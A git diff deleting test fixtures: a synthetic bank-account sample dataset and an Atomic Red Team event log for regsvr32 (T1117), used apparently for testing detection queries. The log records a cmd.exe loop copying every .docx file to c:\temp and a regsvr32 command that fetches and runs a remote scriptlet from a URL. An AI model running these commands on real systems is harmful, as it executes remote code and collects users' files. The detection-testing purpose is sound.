-{"account_number":515,"balance":18531,"firstname":"Lott","lastname":"Keller","age":27,"gender":"M","address":"827 Miami Court","employer":"Translink","email":"lottkeller@translink.com","city":"Gila","state":"TX"}
-{"index":{"_id":"522"}}
-{"account_number":522,"balance":19879,"firstname":"Faulkner","lastname":"Garrett","age":29,"gender":"F","address":"396 Grove Place","employer":"Pigzart","email":"faulknergarrett@pigzart.com","city":"Felt","state":"AR"}
-{"index":{"_id":"527"}}
-{"account_number":527,"balance":2028,"firstname":"Carver","lastname":"Peters","age":35,"gender":"M","address":"816 Victor Road","employer":"Housedown","email":"carverpeters@housedown.com","city":"Nadine","state":"MD"}
-{"index":{"_id":"534"}}
-{"account_number":534,"balance":20470,"firstname":"Cristina","lastname":"Russo","age":25,"gender":"F","address":"500 Highlawn Avenue","employer":"Cyclonica","email":"cristinarusso@cyclonica.com","city":"Gorst","state":"KS"}
-{"index":{"_id":"539"}}
-{"account_number":539,"balance":24560,"firstname":"Tami","lastname":"Maddox","age":23,"gender":"F","address":"741 Pineapple Street","employer":"Accidency","email":"tamimaddox@accidency.com","city":"Kennedyville","state":"OH"}
-{"index":{"_id":"541"}}
-{"account_number":541,"balance":42915,"firstname":"Logan","lastname":"Burke","age":32,"gender":"M","address":"904 Clarendon Road","employer":"Overplex","email":"loganburke@overplex.com","city":"Johnsonburg","state":"OH"}
-{"index":{"_id":"546"}}
-{"account_number":546,"balance":43242,"firstname":"Bernice","lastname":"Sims","age":33,"gender":"M","address":"382 Columbia Street","employer":"Verbus","email":"bernicesims@verbus.com","city":"Sena","state":"KY"}
-{"index":{"_id":"553"}}
-{"account_number":553,"balance":28390,"firstname":"Aimee","lastname":"Cohen","age":28,"gender":"M","address":"396 Lafayette Avenue","employer":"Eplode","email":"aimeecohen@eplode.com","city":"Thatcher","state":"NJ"}
-{"index":{"_id":"558"}}
-{"account_number":558,"balance":8922,"firstname":"Horne","lastname":"Valenzuela","age":20,"gender":"F","address":"979 Kensington Street","employer":"Isoternia","email":"hornevalenzuela@isoternia.com","city":"Greenbush","state":"NC"}
-{"index":{"_id":"560"}}
-{"account_number":560,"balance":24514,"firstname":"Felecia","lastname":"Oneill","age":26,"gender":"M","address":"995 Autumn Avenue","employer":"Mediot","email":"feleciaoneill@mediot.com","city":"Joppa","state":"IN"}
-{"index":{"_id":"565"}}
-{"account_number":565,"balance":15197,"firstname":"Taylor","lastname":"Ingram","age":37,"gender":"F","address":"113 Will Place","employer":"Lyrichord","email":"tayloringram@lyrichord.com","city":"Collins","state":"ME"}
-{"index":{"_id":"572"}}
-{"account_number":572,"balance":49355,"firstname":"Therese","lastname":"Espinoza","age":20,"gender":"M","address":"994 Chester Court","employer":"Gonkle","email":"thereseespinoza@gonkle.com","city":"Hayes","state":"UT"}
-{"index":{"_id":"577"}}
-{"account_number":577,"balance":21398,"firstname":"Gilbert","lastname":"Serrano","age":38,"gender":"F","address":"294 Troutman Street","employer":"Senmao","email":"gilbertserrano@senmao.com","city":"Greer","state":"MT"}
-{"index":{"_id":"584"}}
-{"account_number":584,"balance":5346,"firstname":"Pearson","lastname":"Bryant","age":40,"gender":"F","address":"971 Heyward Street","employer":"Anacho","email":"pearsonbryant@anacho.com","city":"Bluffview","state":"MN"}
-{"index":{"_id":"589"}}
-{"account_number":589,"balance":33260,"firstname":"Ericka","lastname":"Cote","age":39,"gender":"F","address":"425 Bath Avenue","employer":"Venoflex","email":"erickacote@venoflex.com","city":"Blue","state":"CT"}
-{"index":{"_id":"591"}}
-{"account_number":591,"balance":48997,"firstname":"Rivers","lastname":"Macdonald","age":34,"gender":"F","address":"919 Johnson Street","employer":"Ziore","email":"riversmacdonald@ziore.com","city":"Townsend","state":"IL"}
-{"index":{"_id":"596"}}
-{"account_number":596,"balance":4063,"firstname":"Letitia","lastname":"Walker","age":26,"gender":"F","address":"963 Vanderveer Place","employer":"Zizzle","email":"letitiawalker@zizzle.com","city":"Rossmore","state":"ID"}
-{"index":{"_id":"604"}}
-{"account_number":604,"balance":10675,"firstname":"Isabel","lastname":"Gilliam","age":23,"gender":"M","address":"854 Broadway ","employer":"Zenthall","email":"isabelgilliam@zenthall.com","city":"Ventress","state":"WI"}
-{"index":{"_id":"609"}}
-{"account_number":609,"balance":28586,"firstname":"Montgomery","lastname":"Washington","age":30,"gender":"M","address":"169 Schroeders Avenue","employer":"Kongle","email":"montgomerywashington@kongle.com","city":"Croom","state":"AZ"}
-{"index":{"_id":"611"}}
-{"account_number":611,"balance":17528,"firstname":"Katherine","lastname":"Prince","age":33,"gender":"F","address":"705 Elm Avenue","employer":"Zillacon","email":"katherineprince@zillacon.com","city":"Rew","state":"MI"}
-{"index":{"_id":"616"}}
-{"account_number":616,"balance":25276,"firstname":"Jessie","lastname":"Mayer","age":35,"gender":"F","address":"683 Chester Avenue","employer":"Emtrak","email":"jessiemayer@emtrak.com","city":"Marysville","state":"HI"}
-{"index":{"_id":"623"}}
-{"account_number":623,"balance":20514,"firstname":"Rose","lastname":"Combs","age":32,"gender":"F","address":"312 Grimes Road","employer":"Aquamate","email":"rosecombs@aquamate.com","city":"Fostoria","state":"OH"}
-{"index":{"_id":"628"}}
-{"account_number":628,"balance":42736,"firstname":"Buckner","lastname":"Chen","age":37,"gender":"M","address":"863 Rugby Road","employer":"Jamnation","email":"bucknerchen@jamnation.com","city":"Camas","state":"TX"}
-{"index":{"_id":"630"}}
-{"account_number":630,"balance":46060,"firstname":"Leanne","lastname":"Jones","age":31,"gender":"M","address":"451 Bayview Avenue","employer":"Wazzu","email":"leannejones@wazzu.com","city":"Kylertown","state":"OK"}
-{"index":{"_id":"635"}}
-{"account_number":635,"balance":44705,"firstname":"Norman","lastname":"Gilmore","age":33,"gender":"M","address":"330 Gates Avenue","employer":"Comfirm","email":"normangilmore@comfirm.com","city":"Riceville","state":"TN"}
-{"index":{"_id":"642"}}
-{"account_number":642,"balance":32852,"firstname":"Reyna","lastname":"Harris","age":35,"gender":"M","address":"305 Powell Street","employer":"Bedlam","email":"reynaharris@bedlam.com","city":"Florence","state":"KS"}
-{"index":{"_id":"647"}}
-{"account_number":647,"balance":10147,"firstname":"Annabelle","lastname":"Velazquez","age":30,"gender":"M","address":"299 Kensington Walk","employer":"Sealoud","email":"annabellevelazquez@sealoud.com","city":"Soudan","state":"ME"}
-{"index":{"_id":"654"}}
-{"account_number":654,"balance":38695,"firstname":"Armstrong","lastname":"Frazier","age":25,"gender":"M","address":"899 Seeley Street","employer":"Zensor","email":"armstrongfrazier@zensor.com","city":"Cherokee","state":"UT"}
-{"index":{"_id":"659"}}
-{"account_number":659,"balance":29648,"firstname":"Dorsey","lastname":"Sosa","age":40,"gender":"M","address":"270 Aberdeen Street","employer":"Daycore","email":"dorseysosa@daycore.com","city":"Chamberino","state":"SC"}
-{"index":{"_id":"661"}}
-{"account_number":661,"balance":3679,"firstname":"Joanne","lastname":"Spencer","age":39,"gender":"F","address":"910 Montauk Avenue","employer":"Visalia","email":"joannespencer@visalia.com","city":"Valmy","state":"NH"}
-{"index":{"_id":"666"}}
-{"account_number":666,"balance":13880,"firstname":"Mcguire","lastname":"Lloyd","age":40,"gender":"F","address":"658 Just Court","employer":"Centrexin","email":"mcguirelloyd@centrexin.com","city":"Warren","state":"MT"}
-{"index":{"_id":"673"}}
-{"account_number":673,"balance":11303,"firstname":"Mcdaniel","lastname":"Harrell","age":33,"gender":"M","address":"565 Montgomery Place","employer":"Eyeris","email":"mcdanielharrell@eyeris.com","city":"Garnet","state":"NV"}
-{"index":{"_id":"678"}}
-{"account_number":678,"balance":43663,"firstname":"Ruby","lastname":"Shaffer","age":28,"gender":"M","address":"350 Clark Street","employer":"Comtrail","email":"rubyshaffer@comtrail.com","city":"Aurora","state":"MA"}
-{"index":{"_id":"680"}}
-{"account_number":680,"balance":31561,"firstname":"Melton","lastname":"Camacho","age":32,"gender":"F","address":"771 Montana Place","employer":"Insuresys","email":"meltoncamacho@insuresys.com","city":"Sparkill","state":"IN"}
-{"index":{"_id":"685"}}
-{"account_number":685,"balance":22249,"firstname":"Yesenia","lastname":"Rowland","age":24,"gender":"F","address":"193 Dekalb Avenue","employer":"Coriander","email":"yeseniarowland@coriander.com","city":"Lupton","state":"NC"}
-{"index":{"_id":"692"}}
-{"account_number":692,"balance":10435,"firstname":"Haney","lastname":"Barlow","age":21,"gender":"F","address":"267 Lenox Road","employer":"Egypto","email":"haneybarlow@egypto.com","city":"Detroit","state":"IN"}
-{"index":{"_id":"697"}}
-{"account_number":697,"balance":48745,"firstname":"Mallory","lastname":"Emerson","age":24,"gender":"F","address":"318 Dunne Court","employer":"Exoplode","email":"malloryemerson@exoplode.com","city":"Montura","state":"LA"}
-{"index":{"_id":"700"}}
-{"account_number":700,"balance":19164,"firstname":"Patel","lastname":"Durham","age":21,"gender":"F","address":"440 King Street","employer":"Icology","email":"pateldurham@icology.com","city":"Mammoth","state":"IL"}
-{"index":{"_id":"705"}}
-{"account_number":705,"balance":28415,"firstname":"Krystal","lastname":"Cross","age":22,"gender":"M","address":"604 Drew Street","employer":"Tubesys","email":"krystalcross@tubesys.com","city":"Dalton","state":"MO"}
-{"index":{"_id":"712"}}
-{"account_number":712,"balance":12459,"firstname":"Butler","lastname":"Alston","age":37,"gender":"M","address":"486 Hemlock Street","employer":"Quordate","email":"butleralston@quordate.com","city":"Verdi","state":"MS"}
-{"index":{"_id":"717"}}
-{"account_number":717,"balance":29270,"firstname":"Erickson","lastname":"Mcdonald","age":31,"gender":"M","address":"873 Franklin Street","employer":"Exotechno","email":"ericksonmcdonald@exotechno.com","city":"Jessie","state":"MS"}
-{"index":{"_id":"724"}}
-{"account_number":724,"balance":12548,"firstname":"Hopper","lastname":"Peck","age":31,"gender":"M","address":"849 Hendrickson Street","employer":"Uxmox","email":"hopperpeck@uxmox.com","city":"Faxon","state":"UT"}
-{"index":{"_id":"729"}}
-{"account_number":729,"balance":41812,"firstname":"Katy","lastname":"Rivera","age":36,"gender":"F","address":"791 Olive Street","employer":"Blurrybus","email":"katyrivera@blurrybus.com","city":"Innsbrook","state":"MI"}
-{"index":{"_id":"731"}}
-{"account_number":731,"balance":4994,"firstname":"Lorene","lastname":"Weiss","age":35,"gender":"M","address":"990 Ocean Court","employer":"Comvoy","email":"loreneweiss@comvoy.com","city":"Lavalette","state":"WI"}
-{"index":{"_id":"736"}}
-{"account_number":736,"balance":28677,"firstname":"Rogers","lastname":"Mcmahon","age":21,"gender":"F","address":"423 Cameron Court","employer":"Brainclip","email":"rogersmcmahon@brainclip.com","city":"Saddlebrooke","state":"FL"}
-{"index":{"_id":"743"}}
-{"account_number":743,"balance":14077,"firstname":"Susana","lastname":"Moody","age":23,"gender":"M","address":"842 Fountain Avenue","employer":"Bitrex","email":"susanamoody@bitrex.com","city":"Temperanceville","state":"TN"}
-{"index":{"_id":"748"}}
-{"account_number":748,"balance":38060,"firstname":"Ford","lastname":"Branch","age":25,"gender":"M","address":"926 Cypress Avenue","employer":"Buzzness","email":"fordbranch@buzzness.com","city":"Beason","state":"DC"}
-{"index":{"_id":"750"}}
-{"account_number":750,"balance":40481,"firstname":"Cherie","lastname":"Brooks","age":20,"gender":"F","address":"601 Woodhull Street","employer":"Kaggle","email":"cheriebrooks@kaggle.com","city":"Groton","state":"MA"}
-{"index":{"_id":"755"}}
-{"account_number":755,"balance":43878,"firstname":"Bartlett","lastname":"Conway","age":22,"gender":"M","address":"453 Times Placez","employer":"Konnect","email":"bartlettconway@konnect.com","city":"Belva","state":"VT"}
-{"index":{"_id":"762"}}
-{"account_number":762,"balance":10291,"firstname":"Amanda","lastname":"Head","age":20,"gender":"F","address":"990 Ocean Parkway","employer":"Zentury","email":"amandahead@zentury.com","city":"Hegins","state":"AR"}
-{"index":{"_id":"767"}}
-{"account_number":767,"balance":26220,"firstname":"Anthony","lastname":"Sutton","age":27,"gender":"F","address":"179 Fayette Street","employer":"Xiix","email":"anthonysutton@xiix.com","city":"Iberia","state":"TN"}
-{"index":{"_id":"774"}}
-{"account_number":774,"balance":35287,"firstname":"Lynnette","lastname":"Alvarez","age":38,"gender":"F","address":"991 Brightwater Avenue","employer":"Gink","email":"lynnettealvarez@gink.com","city":"Leola","state":"NC"}
-{"index":{"_id":"779"}}
-{"account_number":779,"balance":40983,"firstname":"Maggie","lastname":"Pace","age":32,"gender":"F","address":"104 Harbor Court","employer":"Bulljuice","email":"maggiepace@bulljuice.com","city":"Floris","state":"MA"}
-{"index":{"_id":"781"}}
-{"account_number":781,"balance":29961,"firstname":"Sanford","lastname":"Mullen","age":26,"gender":"F","address":"879 Dover Street","employer":"Zanity","email":"sanfordmullen@zanity.com","city":"Martinez","state":"TX"}
-{"index":{"_id":"786"}}
-{"account_number":786,"balance":3024,"firstname":"Rene","lastname":"Vang","age":33,"gender":"M","address":"506 Randolph Street","employer":"Isopop","email":"renevang@isopop.com","city":"Vienna","state":"NJ"}
-{"index":{"_id":"793"}}
-{"account_number":793,"balance":16911,"firstname":"Alford","lastname":"Compton","age":36,"gender":"M","address":"186 Veronica Place","employer":"Zyple","email":"alfordcompton@zyple.com","city":"Sugartown","state":"AK"}
-{"index":{"_id":"798"}}
-{"account_number":798,"balance":3165,"firstname":"Catherine","lastname":"Ward","age":30,"gender":"F","address":"325 Burnett Street","employer":"Dreamia","email":"catherineward@dreamia.com","city":"Glenbrook","state":"SD"}
-{"index":{"_id":"801"}}
-{"account_number":801,"balance":14954,"firstname":"Molly","lastname":"Maldonado","age":37,"gender":"M","address":"518 Maple Avenue","employer":"Straloy","email":"mollymaldonado@straloy.com","city":"Hebron","state":"WI"}
-{"index":{"_id":"806"}}
-{"account_number":806,"balance":36492,"firstname":"Carson","lastname":"Riddle","age":31,"gender":"M","address":"984 Lois Avenue","employer":"Terrago","email":"carsonriddle@terrago.com","city":"Leland","state":"MN"}
-{"index":{"_id":"813"}}
-{"account_number":813,"balance":30833,"firstname":"Ebony","lastname":"Bishop","age":20,"gender":"M","address":"487 Ridge Court","employer":"Optique","email":"ebonybishop@optique.com","city":"Fairmount","state":"WA"}
-{"index":{"_id":"818"}}
-{"account_number":818,"balance":24433,"firstname":"Espinoza","lastname":"Petersen","age":26,"gender":"M","address":"641 Glenwood Road","employer":"Futurity","email":"espinozapetersen@futurity.com","city":"Floriston","state":"MD"}
-{"index":{"_id":"820"}}
-{"account_number":820,"balance":1011,"firstname":"Shepard","lastname":"Ramsey","age":24,"gender":"F","address":"806 Village Court","employer":"Mantro","email":"shepardramsey@mantro.com","city":"Tibbie","state":"NV"}
-{"index":{"_id":"825"}}
-{"account_number":825,"balance":49000,"firstname":"Terra","lastname":"Witt","age":21,"gender":"F","address":"590 Conway Street","employer":"Insectus","email":"terrawitt@insectus.com","city":"Forbestown","state":"AR"}
-{"index":{"_id":"832"}}
-{"account_number":832,"balance":8582,"firstname":"Laura","lastname":"Gibbs","age":39,"gender":"F","address":"511 Osborn Street","employer":"Corepan","email":"lauragibbs@corepan.com","city":"Worcester","state":"KS"}
-{"index":{"_id":"837"}}
-{"account_number":837,"balance":14485,"firstname":"Amy","lastname":"Villarreal","age":35,"gender":"M","address":"381 Stillwell Place","employer":"Fleetmix","email":"amyvillarreal@fleetmix.com","city":"Sanford","state":"IA"}
-{"index":{"_id":"844"}}
-{"account_number":844,"balance":26840,"firstname":"Jill","lastname":"David","age":31,"gender":"M","address":"346 Legion Street","employer":"Zytrax","email":"jilldavid@zytrax.com","city":"Saticoy","state":"SC"}
-{"index":{"_id":"849"}}
-{"account_number":849,"balance":16200,"firstname":"Barry","lastname":"Chapman","age":26,"gender":"M","address":"931 Dekoven Court","employer":"Darwinium","email":"barrychapman@darwinium.com","city":"Whitestone","state":"WY"}
-{"index":{"_id":"851"}}
-{"account_number":851,"balance":22026,"firstname":"Henderson","lastname":"Price","age":33,"gender":"F","address":"530 Hausman Street","employer":"Plutorque","email":"hendersonprice@plutorque.com","city":"Brutus","state":"RI"}
-{"index":{"_id":"856"}}
-{"account_number":856,"balance":27583,"firstname":"Alissa","lastname":"Knox","age":25,"gender":"M","address":"258 Empire Boulevard","employer":"Geologix","email":"alissaknox@geologix.com","city":"Hartsville/Hartley","state":"MN"}
-{"index":{"_id":"863"}}
-{"account_number":863,"balance":23165,"firstname":"Melendez","lastname":"Fernandez","age":40,"gender":"M","address":"661 Johnson Avenue","employer":"Vixo","email":"melendezfernandez@vixo.com","city":"Farmers","state":"IL"}
-{"index":{"_id":"868"}}
-{"account_number":868,"balance":27624,"firstname":"Polly","lastname":"Barron","age":22,"gender":"M","address":"129 Frank Court","employer":"Geofarm","email":"pollybarron@geofarm.com","city":"Loyalhanna","state":"ND"}
-{"index":{"_id":"870"}}
-{"account_number":870,"balance":43882,"firstname":"Goff","lastname":"Phelps","age":21,"gender":"M","address":"164 Montague Street","employer":"Digigen","email":"goffphelps@digigen.com","city":"Weedville","state":"IL"}
-{"index":{"_id":"875"}}
-{"account_number":875,"balance":19655,"firstname":"Mercer","lastname":"Pratt","age":24,"gender":"M","address":"608 Perry Place","employer":"Twiggery","email":"mercerpratt@twiggery.com","city":"Eggertsville","state":"MO"}
-{"index":{"_id":"882"}}
-{"account_number":882,"balance":10895,"firstname":"Mari","lastname":"Landry","age":39,"gender":"M","address":"963 Gerald Court","employer":"Kenegy","email":"marilandry@kenegy.com","city":"Lithium","state":"NC"}
-{"index":{"_id":"887"}}
-{"account_number":887,"balance":31772,"firstname":"Eunice","lastname":"Watts","age":36,"gender":"F","address":"707 Stuyvesant Avenue","employer":"Memora","email":"eunicewatts@memora.com","city":"Westwood","state":"TN"}
-{"index":{"_id":"894"}}
-{"account_number":894,"balance":1031,"firstname":"Tyler","lastname":"Fitzgerald","age":32,"gender":"M","address":"787 Meserole Street","employer":"Jetsilk","email":"tylerfitzgerald@jetsilk.com","city":"Woodlands","state":"WV"}
-{"index":{"_id":"899"}}
-{"account_number":899,"balance":32953,"firstname":"Carney","lastname":"Callahan","age":23,"gender":"M","address":"724 Kimball Street","employer":"Mangelica","email":"carneycallahan@mangelica.com","city":"Tecolotito","state":"MT"}
-{"index":{"_id":"902"}}
-{"account_number":902,"balance":13345,"firstname":"Hallie","lastname":"Jarvis","age":23,"gender":"F","address":"237 Duryea Court","employer":"Anixang","email":"halliejarvis@anixang.com","city":"Boykin","state":"IN"}
-{"index":{"_id":"907"}}
-{"account_number":907,"balance":12961,"firstname":"Ingram","lastname":"William","age":36,"gender":"M","address":"826 Overbaugh Place","employer":"Genmex","email":"ingramwilliam@genmex.com","city":"Kimmell","state":"AK"}
-{"index":{"_id":"914"}}
-{"account_number":914,"balance":7120,"firstname":"Esther","lastname":"Bean","age":32,"gender":"F","address":"583 Macon Street","employer":"Applica","email":"estherbean@applica.com","city":"Homeworth","state":"MN"}
-{"index":{"_id":"919"}}
-{"account_number":919,"balance":39655,"firstname":"Shauna","lastname":"Hanson","age":27,"gender":"M","address":"557 Hart Place","employer":"Exospace","email":"shaunahanson@exospace.com","city":"Outlook","state":"LA"}
-{"index":{"_id":"921"}}
-{"account_number":921,"balance":49119,"firstname":"Barbara","lastname":"Wade","age":29,"gender":"M","address":"687 Hoyts Lane","employer":"Roughies","email":"barbarawade@roughies.com","city":"Sattley","state":"CO"}
-{"index":{"_id":"926"}}
-{"account_number":926,"balance":49433,"firstname":"Welch","lastname":"Mcgowan","age":21,"gender":"M","address":"833 Quincy Street","employer":"Atomica","email":"welchmcgowan@atomica.com","city":"Hampstead","state":"VT"}
-{"index":{"_id":"933"}}
-{"account_number":933,"balance":18071,"firstname":"Tabitha","lastname":"Cole","age":21,"gender":"F","address":"916 Rogers Avenue","employer":"Eclipto","email":"tabithacole@eclipto.com","city":"Lawrence","state":"TX"}
-{"index":{"_id":"938"}}
-{"account_number":938,"balance":9597,"firstname":"Sharron","lastname":"Santos","age":40,"gender":"F","address":"215 Matthews Place","employer":"Zenco","email":"sharronsantos@zenco.com","city":"Wattsville","state":"VT"}
-{"index":{"_id":"940"}}
-{"account_number":940,"balance":23285,"firstname":"Melinda","lastname":"Mendoza","age":38,"gender":"M","address":"806 Kossuth Place","employer":"Kneedles","email":"melindamendoza@kneedles.com","city":"Coaldale","state":"OK"}
-{"index":{"_id":"945"}}
-{"account_number":945,"balance":23085,"firstname":"Hansen","lastname":"Hebert","age":33,"gender":"F","address":"287 Conduit Boulevard","employer":"Capscreen","email":"hansenhebert@capscreen.com","city":"Taycheedah","state":"AK"}
-{"index":{"_id":"952"}}
-{"account_number":952,"balance":21430,"firstname":"Angelique","lastname":"Weeks","age":33,"gender":"M","address":"659 Reeve Place","employer":"Exodoc","email":"angeliqueweeks@exodoc.com","city":"Turpin","state":"MD"}
-{"index":{"_id":"957"}}
-{"account_number":957,"balance":11373,"firstname":"Michael","lastname":"Giles","age":31,"gender":"M","address":"668 Court Square","employer":"Yogasm","email":"michaelgiles@yogasm.com","city":"Rosburg","state":"WV"}
-{"index":{"_id":"964"}}
-{"account_number":964,"balance":26154,"firstname":"Elena","lastname":"Waller","age":34,"gender":"F","address":"618 Crystal Street","employer":"Insurety","email":"elenawaller@insurety.com","city":"Gallina","state":"NY"}
-{"index":{"_id":"969"}}
-{"account_number":969,"balance":22214,"firstname":"Briggs","lastname":"Lynn","age":30,"gender":"M","address":"952 Lester Court","employer":"Quinex","email":"briggslynn@quinex.com","city":"Roland","state":"ID"}
-{"index":{"_id":"971"}}
-{"account_number":971,"balance":22772,"firstname":"Gabrielle","lastname":"Reilly","age":32,"gender":"F","address":"964 Tudor Terrace","employer":"Blanet","email":"gabriellereilly@blanet.com","city":"Falmouth","state":"AL"}
-{"index":{"_id":"976"}}
-{"account_number":976,"balance":31707,"firstname":"Mullen","lastname":"Tanner","age":26,"gender":"M","address":"711 Whitney Avenue","employer":"Pulze","email":"mullentanner@pulze.com","city":"Mooresburg","state":"MA"}
-{"index":{"_id":"983"}}
-{"account_number":983,"balance":47205,"firstname":"Mattie","lastname":"Eaton","age":24,"gender":"F","address":"418 Allen Avenue","employer":"Trasola","email":"mattieeaton@trasola.com","city":"Dupuyer","state":"NJ"}
-{"index":{"_id":"988"}}
-{"account_number":988,"balance":17803,"firstname":"Lucy","lastname":"Castro","age":34,"gender":"F","address":"425 Fleet Walk","employer":"Geekfarm","email":"lucycastro@geekfarm.com","city":"Mulino","state":"VA"}
-{"index":{"_id":"990"}}
-{"account_number":990,"balance":44456,"firstname":"Kelly","lastname":"Steele","age":35,"gender":"M","address":"809 Hoyt Street","employer":"Eschoir","email":"kellysteele@eschoir.com","city":"Stewartville","state":"ID"}
-{"index":{"_id":"995"}}
-{"account_number":995,"balance":21153,"firstname":"Phelps","lastname":"Parrish","age":25,"gender":"M","address":"666 Miller Place","employer":"Pearlessa","email":"phelpsparrish@pearlessa.com","city":"Brecon","state":"ME"}
diff --git a/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json b/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json
deleted file mode 100644
index ecd81b6c4df..00000000000
--- a/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json
+++ /dev/null
@@ -1,300 +0,0 @@
-{"index":{}}
-{ "process": { "parent": { "name": "powershell.exe", "entity_id": "{42FC7E13-C11D-5C05-0000-0010C6E90401}", "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" }, "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "command_line": "\"C:\\WINDOWS\\system32\\cmd.exe\" /c \"for /R c: %%f in (*.docx) do copy %%f c:\\temp\\\"", "executable": "C:\\Windows\\System32\\cmd.exe", "ppid": 7036 }, "logon_id": 217055, "@timestamp": 131883571822010000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } }
-{"index":{}}
-{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\cmd.exe", "name": "cmd.exe" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntdll.dll", "name": "ntdll.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel32.dll", "name": "kernel32.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\KernelBase.dll", "name": "KernelBase.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcrt.dll", "name": "msvcrt.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "@timestamp": 131883571822140000, "event": { "category": "process", "type": "terminate" } }
-{"index":{}}
-{ "process": { "parent": { "name": "cmd.exe", "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", "executable": "C:\\Windows\\System32\\regsvr32.exe", "ppid": 2652 }, "logon_id": 217055, "@timestamp": 131883573237130000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\regsvr32.exe", "name": "regsvr32.exe" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntdll.dll", "name": "ntdll.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel32.dll", "name": "kernel32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\KernelBase.dll", "name": "KernelBase.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\apphelp.dll", "name": "apphelp.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\AcLayers.dll", "name": "AcLayers.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcrt.dll", "name": "msvcrt.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\user32.dll", "name": "user32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\win32u.dll", "name": "win32u.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
